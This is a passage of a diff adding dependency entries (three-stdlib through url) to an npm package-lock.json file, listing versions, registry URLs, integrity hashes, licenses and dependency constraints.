26407+ "node_modules/three-stdlib": {
26408+ "version": "2.36.1",
26409+ "resolved": "https://registry.npmjs.org/three-stdlib/-/three-stdlib-2.36.1.tgz",
26410+ "integrity": "sha512-XyGQrFmNQ5O/IoKm556ftwKsBg11TIb301MB5dWNicziQBEs2g3gtOYIf7pFiLa0zI2gUwhtCjv9fmjnxKZ1Cg==",
26411+ "license": "MIT",
26412+ "dependencies": {
26413+ "@types/draco3d": "^1.4.0",
26414+ "@types/offscreencanvas": "^2019.6.4",
26415+ "@types/webxr": "^0.5.2",
26416+ "draco3d": "^1.4.1",
26417+ "fflate": "^0.6.9",
26418+ "potpack": "^1.0.1"
26419+ },
26420+ "peerDependencies": {
26421+ "three": ">=0.128.0"
26422+ }
26423+ },
26424+ "node_modules/three-stdlib/node_modules/fflate": {
26425+ "version": "0.6.10",
26426+ "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.6.10.tgz",
26427+ "integrity": "sha512-IQrh3lEPM93wVCEczc9SaAOvkmcoQn/G8Bo1e8ZPlY3X3bnAxWaBdvTdvM1hP62iZp0BXWDy4vTAy4fF0+Dlpg==",
26428+ "license": "MIT"
26429+ },
26430+ "node_modules/throat": {
26431+ "version": "6.0.2",
26432+ "resolved": "https://registry.npmjs.org/throat/-/throat-6.0.2.tgz",
26433+ "integrity": "sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==",
26434+ "license": "MIT"
26435+ },
26436+ "node_modules/thunky": {
26437+ "version": "1.1.0",
26438+ "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz",
26439+ "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==",
26440+ "license": "MIT"
26441+ },
26442+ "node_modules/timers-browserify": {
26443+ "version": "2.0.12",
26444+ "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.12.tgz",
26445+ "integrity": "sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==",
26446+ "license": "MIT",
26447+ "dependencies": {
26448+ "setimmediate": "^1.0.4"
26449+ },
26450+ "engines": {
26451+ "node": ">=0.6.0"
26452+ }
26453+ },
26454+ "node_modules/tinyglobby": {
26455+ "version": "0.2.15",
26456+ "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
26457+ "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==",
26458+ "license": "MIT",
26459+ "dependencies": {
26460+ "fdir": "^6.5.0",
26461+ "picomatch": "^4.0.3"
26462+ },
26463+ "engines": {
26464+ "node": ">=12.0.0"
26465+ },
26466+ "funding": {
26467+ "url": "https://github.com/sponsors/SuperchupuDev"
26468+ }
26469+ },
26470+ "node_modules/tmpl": {
26471+ "version": "1.0.5",
26472+ "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",
26473+ "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==",
26474+ "license": "BSD-3-Clause"
26475+ },
26476+ "node_modules/to-buffer": {
26477+ "version": "1.2.2",
26478+ "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.2.tgz",
26479+ "integrity": "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==",
26480+ "license": "MIT",
26481+ "dependencies": {
26482+ "isarray": "^2.0.5",
26483+ "safe-buffer": "^5.2.1",
26484+ "typed-array-buffer": "^1.0.3"
26485+ },
26486+ "engines": {
26487+ "node": ">= 0.4"
26488+ }
26489+ },
26490+ "node_modules/to-regex-range": {
26491+ "version": "5.0.1",
26492+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
26493+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
26494+ "license": "MIT",
26495+ "dependencies": {
26496+ "is-number": "^7.0.0"
26497+ },
26498+ "engines": {
26499+ "node": ">=8.0"
26500+ }
26501+ },
26502+ "node_modules/toggle-selection": {
26503+ "version": "1.0.6",
26504+ "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz",
26505+ "integrity": "sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==",
26506+ "license": "MIT"
26507+ },
26508+ "node_modules/toidentifier": {
26509+ "version": "1.0.1",
26510+ "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
26511+ "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
26512+ "license": "MIT",
26513+ "engines": {
26514+ "node": ">=0.6"
26515+ }
26516+ },
26517+ "node_modules/tough-cookie": {
26518+ "version": "4.1.4",
26519+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz",
26520+ "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==",
26521+ "license": "BSD-3-Clause",
26522+ "dependencies": {
26523+ "psl": "^1.1.33",
26524+ "punycode": "^2.1.1",
26525+ "universalify": "^0.2.0",
26526+ "url-parse": "^1.5.3"
26527+ },
26528+ "engines": {
26529+ "node": ">=6"
26530+ }
26531+ },
26532+ "node_modules/tough-cookie/node_modules/universalify": {
26533+ "version": "0.2.0",
26534+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
26535+ "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==",
26536+ "license": "MIT",
26537+ "engines": {
26538+ "node": ">= 4.0.0"
26539+ }
26540+ },
26541+ "node_modules/tr46": {
26542+ "version": "5.1.1",
26543+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",
26544+ "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==",
26545+ "license": "MIT",
26546+ "dependencies": {
26547+ "punycode": "^2.3.1"
26548+ },
26549+ "engines": {
26550+ "node": ">=18"
26551+ }
26552+ },
26553+ "node_modules/tree-kill": {
26554+ "version": "1.2.2",
26555+ "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz",
26556+ "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==",
26557+ "license": "MIT",
26558+ "bin": {
26559+ "tree-kill": "cli.js"
26560+ }
26561+ },
26562+ "node_modules/troika-three-text": {
26563+ "version": "0.52.4",
26564+ "resolved": "https://registry.npmjs.org/troika-three-text/-/troika-three-text-0.52.4.tgz",
26565+ "integrity": "sha512-V50EwcYGruV5rUZ9F4aNsrytGdKcXKALjEtQXIOBfhVoZU9VAqZNIoGQ3TMiooVqFAbR1w15T+f+8gkzoFzawg==",
26566+ "license": "MIT",
26567+ "dependencies": {
26568+ "bidi-js": "^1.0.2",
26569+ "troika-three-utils": "^0.52.4",
26570+ "troika-worker-utils": "^0.52.0",
26571+ "webgl-sdf-generator": "1.1.1"
26572+ },
26573+ "peerDependencies": {
26574+ "three": ">=0.125.0"
26575+ }
26576+ },
26577+ "node_modules/troika-three-utils": {
26578+ "version": "0.52.4",
26579+ "resolved": "https://registry.npmjs.org/troika-three-utils/-/troika-three-utils-0.52.4.tgz",
26580+ "integrity": "sha512-NORAStSVa/BDiG52Mfudk4j1FG4jC4ILutB3foPnfGbOeIs9+G5vZLa0pnmnaftZUGm4UwSoqEpWdqvC7zms3A==",
26581+ "license": "MIT",
26582+ "peerDependencies": {
26583+ "three": ">=0.125.0"
26584+ }
26585+ },
26586+ "node_modules/troika-worker-utils": {
26587+ "version": "0.52.0",
26588+ "resolved": "https://registry.npmjs.org/troika-worker-utils/-/troika-worker-utils-0.52.0.tgz",
26589+ "integrity": "sha512-W1CpvTHykaPH5brv5VHLfQo9D1OYuo0cSBEUQFFT/nBUzM8iD6Lq2/tgG/f1OelbAS1WtaTPQzE5uM49egnngw==",
26590+ "license": "MIT"
26591+ },
26592+ "node_modules/tryer": {
26593+ "version": "1.0.1",
26594+ "resolved": "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz",
26595+ "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==",
26596+ "license": "MIT"
26597+ },
26598+ "node_modules/ts-interface-checker": {
26599+ "version": "0.1.13",
26600+ "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
26601+ "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==",
26602+ "license": "Apache-2.0"
26603+ },
26604+ "node_modules/tsconfig-paths": {
26605+ "version": "3.15.0",
26606+ "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz",
26607+ "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==",
26608+ "license": "MIT",
26609+ "dependencies": {
26610+ "@types/json5": "^0.0.29",
26611+ "json5": "^1.0.2",
26612+ "minimist": "^1.2.6",
26613+ "strip-bom": "^3.0.0"
26614+ }
26615+ },
26616+ "node_modules/tsconfig-paths/node_modules/json5": {
26617+ "version": "1.0.2",
26618+ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz",
26619+ "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==",
26620+ "license": "MIT",
26621+ "dependencies": {
26622+ "minimist": "^1.2.0"
26623+ },
26624+ "bin": {
26625+ "json5": "lib/cli.js"
26626+ }
26627+ },
26628+ "node_modules/tsconfig-paths/node_modules/strip-bom": {
26629+ "version": "3.0.0",
26630+ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
26631+ "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==",
26632+ "license": "MIT",
26633+ "engines": {
26634+ "node": ">=4"
26635+ }
26636+ },
26637+ "node_modules/tslib": {
26638+ "version": "1.14.1",
26639+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
26640+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
26641+ "license": "0BSD"
26642+ },
26643+ "node_modules/tsutils": {
26644+ "version": "3.21.0",
26645+ "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz",
26646+ "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==",
26647+ "license": "MIT",
26648+ "dependencies": {
26649+ "tslib": "^1.8.1"
26650+ },
26651+ "engines": {
26652+ "node": ">= 6"
26653+ },
26654+ "peerDependencies": {
26655+ "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta"
26656+ }
26657+ },
26658+ "node_modules/tty-browserify": {
26659+ "version": "0.0.1",
26660+ "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.1.tgz",
26661+ "integrity": "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw==",
26662+ "license": "MIT"
26663+ },
26664+ "node_modules/tunnel-agent": {
26665+ "version": "0.6.0",
26666+ "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
26667+ "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
26668+ "license": "Apache-2.0",
26669+ "dependencies": {
26670+ "safe-buffer": "^5.0.1"
26671+ },
26672+ "engines": {
26673+ "node": "*"
26674+ }
26675+ },
26676+ "node_modules/tunnel-rat": {
26677+ "version": "0.1.2",
26678+ "resolved": "https://registry.npmjs.org/tunnel-rat/-/tunnel-rat-0.1.2.tgz",
26679+ "integrity": "sha512-lR5VHmkPhzdhrM092lI2nACsLO4QubF0/yoOhzX7c+wIpbN1GjHNzCc91QlpxBi+cnx8vVJ+Ur6vL5cEoQPFpQ==",
26680+ "license": "MIT",
26681+ "dependencies": {
26682+ "zustand": "^4.3.2"
26683+ }
26684+ },
26685+ "node_modules/tunnel-rat/node_modules/zustand": {
26686+ "version": "4.5.7",
26687+ "resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz",
26688+ "integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==",
26689+ "license": "MIT",
26690+ "dependencies": {
26691+ "use-sync-external-store": "^1.2.2"
26692+ },
26693+ "engines": {
26694+ "node": ">=12.7.0"
26695+ },
26696+ "peerDependencies": {
26697+ "@types/react": ">=16.8",
26698+ "immer": ">=9.0.6",
26699+ "react": ">=16.8"
26700+ },
26701+ "peerDependenciesMeta": {
26702+ "@types/react": {
26703+ "optional": true
26704+ },
26705+ "immer": {
26706+ "optional": true
26707+ },
26708+ "react": {
26709+ "optional": true
26710+ }
26711+ }
26712+ },
26713+ "node_modules/tweetnacl": {
26714+ "version": "0.14.5",
26715+ "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
26716+ "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==",
26717+ "license": "Unlicense"
26718+ },
26719+ "node_modules/type-check": {
26720+ "version": "0.4.0",
26721+ "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
26722+ "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
26723+ "license": "MIT",
26724+ "dependencies": {
26725+ "prelude-ls": "^1.2.1"
26726+ },
26727+ "engines": {
26728+ "node": ">= 0.8.0"
26729+ }
26730+ },
26731+ "node_modules/type-detect": {
26732+ "version": "4.0.8",
26733+ "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
26734+ "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
26735+ "license": "MIT",
26736+ "engines": {
26737+ "node": ">=4"
26738+ }
26739+ },
26740+ "node_modules/type-fest": {
26741+ "version": "0.20.2",
26742+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
26743+ "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
26744+ "license": "(MIT OR CC0-1.0)",
26745+ "engines": {
26746+ "node": ">=10"
26747+ },
26748+ "funding": {
26749+ "url": "https://github.com/sponsors/sindresorhus"
26750+ }
26751+ },
26752+ "node_modules/type-is": {
26753+ "version": "1.6.18",
26754+ "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
26755+ "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
26756+ "license": "MIT",
26757+ "dependencies": {
26758+ "media-typer": "0.3.0",
26759+ "mime-types": "~2.1.24"
26760+ },
26761+ "engines": {
26762+ "node": ">= 0.6"
26763+ }
26764+ },
26765+ "node_modules/typed-array-buffer": {
26766+ "version": "1.0.3",
26767+ "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
26768+ "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
26769+ "license": "MIT",
26770+ "dependencies": {
26771+ "call-bound": "^1.0.3",
26772+ "es-errors": "^1.3.0",
26773+ "is-typed-array": "^1.1.14"
26774+ },
26775+ "engines": {
26776+ "node": ">= 0.4"
26777+ }
26778+ },
26779+ "node_modules/typed-array-byte-length": {
26780+ "version": "1.0.3",
26781+ "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz",
26782+ "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==",
26783+ "license": "MIT",
26784+ "dependencies": {
26785+ "call-bind": "^1.0.8",
26786+ "for-each": "^0.3.3",
26787+ "gopd": "^1.2.0",
26788+ "has-proto": "^1.2.0",
26789+ "is-typed-array": "^1.1.14"
26790+ },
26791+ "engines": {
26792+ "node": ">= 0.4"
26793+ },
26794+ "funding": {
26795+ "url": "https://github.com/sponsors/ljharb"
26796+ }
26797+ },
26798+ "node_modules/typed-array-byte-offset": {
26799+ "version": "1.0.4",
26800+ "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz",
26801+ "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==",
26802+ "license": "MIT",
26803+ "dependencies": {
26804+ "available-typed-arrays": "^1.0.7",
26805+ "call-bind": "^1.0.8",
26806+ "for-each": "^0.3.3",
26807+ "gopd": "^1.2.0",
26808+ "has-proto": "^1.2.0",
26809+ "is-typed-array": "^1.1.15",
26810+ "reflect.getprototypeof": "^1.0.9"
26811+ },
26812+ "engines": {
26813+ "node": ">= 0.4"
26814+ },
26815+ "funding": {
26816+ "url": "https://github.com/sponsors/ljharb"
26817+ }
26818+ },
26819+ "node_modules/typed-array-length": {
26820+ "version": "1.0.7",
26821+ "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz",
26822+ "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==",
26823+ "license": "MIT",
26824+ "dependencies": {
26825+ "call-bind": "^1.0.7",
26826+ "for-each": "^0.3.3",
26827+ "gopd": "^1.0.1",
26828+ "is-typed-array": "^1.1.13",
26829+ "possible-typed-array-names": "^1.0.0",
26830+ "reflect.getprototypeof": "^1.0.6"
26831+ },
26832+ "engines": {
26833+ "node": ">= 0.4"
26834+ },
26835+ "funding": {
26836+ "url": "https://github.com/sponsors/ljharb"
26837+ }
26838+ },
26839+ "node_modules/typedarray": {
26840+ "version": "0.0.6",
26841+ "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
26842+ "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
26843+ "license": "MIT"
26844+ },
26845+ "node_modules/typedarray-to-buffer": {
26846+ "version": "3.1.5",
26847+ "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
26848+ "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
26849+ "license": "MIT",
26850+ "dependencies": {
26851+ "is-typedarray": "^1.0.0"
26852+ }
26853+ },
26854+ "node_modules/typescript": {
26855+ "version": "4.9.5",
26856+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz",
26857+ "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==",
26858+ "license": "Apache-2.0",
26859+ "peer": true,
26860+ "bin": {
26861+ "tsc": "bin/tsc",
26862+ "tsserver": "bin/tsserver"
26863+ },
26864+ "engines": {
26865+ "node": ">=4.2.0"
26866+ }
26867+ },
26868+ "node_modules/unbox-primitive": {
26869+ "version": "1.1.0",
26870+ "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz",
26871+ "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==",
26872+ "license": "MIT",
26873+ "dependencies": {
26874+ "call-bound": "^1.0.3",
26875+ "has-bigints": "^1.0.2",
26876+ "has-symbols": "^1.1.0",
26877+ "which-boxed-primitive": "^1.1.1"
26878+ },
26879+ "engines": {
26880+ "node": ">= 0.4"
26881+ },
26882+ "funding": {
26883+ "url": "https://github.com/sponsors/ljharb"
26884+ }
26885+ },
26886+ "node_modules/underscore": {
26887+ "version": "1.12.1",
26888+ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.12.1.tgz",
26889+ "integrity": "sha512-hEQt0+ZLDVUMhebKxL4x1BTtDY7bavVofhZ9KZ4aI26X9SRaE+Y3m83XUL1UP2jn8ynjndwCCpEHdUG+9pP1Tw==",
26890+ "license": "MIT"
26891+ },
26892+ "node_modules/undici-types": {
26893+ "version": "7.16.0",
26894+ "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz",
26895+ "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==",
26896+ "license": "MIT"
26897+ },
26898+ "node_modules/unicode-canonical-property-names-ecmascript": {
26899+ "version": "2.0.1",
26900+ "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz",
26901+ "integrity": "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==",
26902+ "license": "MIT",
26903+ "engines": {
26904+ "node": ">=4"
26905+ }
26906+ },
26907+ "node_modules/unicode-match-property-ecmascript": {
26908+ "version": "2.0.0",
26909+ "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz",
26910+ "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==",
26911+ "license": "MIT",
26912+ "dependencies": {
26913+ "unicode-canonical-property-names-ecmascript": "^2.0.0",
26914+ "unicode-property-aliases-ecmascript": "^2.0.0"
26915+ },
26916+ "engines": {
26917+ "node": ">=4"
26918+ }
26919+ },
26920+ "node_modules/unicode-match-property-value-ecmascript": {
26921+ "version": "2.2.1",
26922+ "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.1.tgz",
26923+ "integrity": "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg==",
26924+ "license": "MIT",
26925+ "engines": {
26926+ "node": ">=4"
26927+ }
26928+ },
26929+ "node_modules/unicode-property-aliases-ecmascript": {
26930+ "version": "2.2.0",
26931+ "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.2.0.tgz",
26932+ "integrity": "sha512-hpbDzxUY9BFwX+UeBnxv3Sh1q7HFxj48DTmXchNgRa46lO8uj3/1iEn3MiNUYTg1g9ctIqXCCERn8gYZhHC5lQ==",
26933+ "license": "MIT",
26934+ "engines": {
26935+ "node": ">=4"
26936+ }
26937+ },
26938+ "node_modules/unique-string": {
26939+ "version": "2.0.0",
26940+ "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
26941+ "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
26942+ "license": "MIT",
26943+ "dependencies": {
26944+ "crypto-random-string": "^2.0.0"
26945+ },
26946+ "engines": {
26947+ "node": ">=8"
26948+ }
26949+ },
26950+ "node_modules/universalify": {
26951+ "version": "2.0.1",
26952+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz",
26953+ "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==",
26954+ "license": "MIT",
26955+ "engines": {
26956+ "node": ">= 10.0.0"
26957+ }
26958+ },
26959+ "node_modules/unpipe": {
26960+ "version": "1.0.0",
26961+ "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
26962+ "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==",
26963+ "license": "MIT",
26964+ "engines": {
26965+ "node": ">= 0.8"
26966+ }
26967+ },
26968+ "node_modules/unquote": {
26969+ "version": "1.1.1",
26970+ "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz",
26971+ "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==",
26972+ "license": "MIT"
26973+ },
26974+ "node_modules/upath": {
26975+ "version": "1.2.0",
26976+ "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
26977+ "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==",
26978+ "license": "MIT",
26979+ "engines": {
26980+ "node": ">=4",
26981+ "yarn": "*"
26982+ }
26983+ },
26984+ "node_modules/update-browserslist-db": {
26985+ "version": "1.2.2",
26986+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.2.tgz",
26987+ "integrity": "sha512-E85pfNzMQ9jpKkA7+TJAi4TJN+tBCuWh5rUcS/sv6cFi+1q9LYDwDI5dpUL0u/73EElyQ8d3TEaeW4sPedBqYA==",
26988+ "funding": [
26989+ {
26990+ "type": "opencollective",
26991+ "url": "https://opencollective.com/browserslist"
26992+ },
26993+ {
26994+ "type": "tidelift",
26995+ "url": "https://tidelift.com/funding/github/npm/browserslist"
26996+ },
26997+ {
26998+ "type": "github",
26999+ "url": "https://github.com/sponsors/ai"
27000+ }
27001+ ],
27002+ "license": "MIT",
27003+ "dependencies": {
27004+ "escalade": "^3.2.0",
27005+ "picocolors": "^1.1.1"
27006+ },
27007+ "bin": {
27008+ "update-browserslist-db": "cli.js"
27009+ },
27010+ "peerDependencies": {
27011+ "browserslist": ">= 4.21.0"
27012+ }
27013+ },
27014+ "node_modules/uri-js": {
27015+ "version": "4.4.1",
27016+ "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
27017+ "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
27018+ "license": "BSD-2-Clause",
27019+ "dependencies": {
27020+ "punycode": "^2.1.0"
27021+ }
27022+ },
27023+ "node_modules/url": {
27024+ "version": "0.11.4",
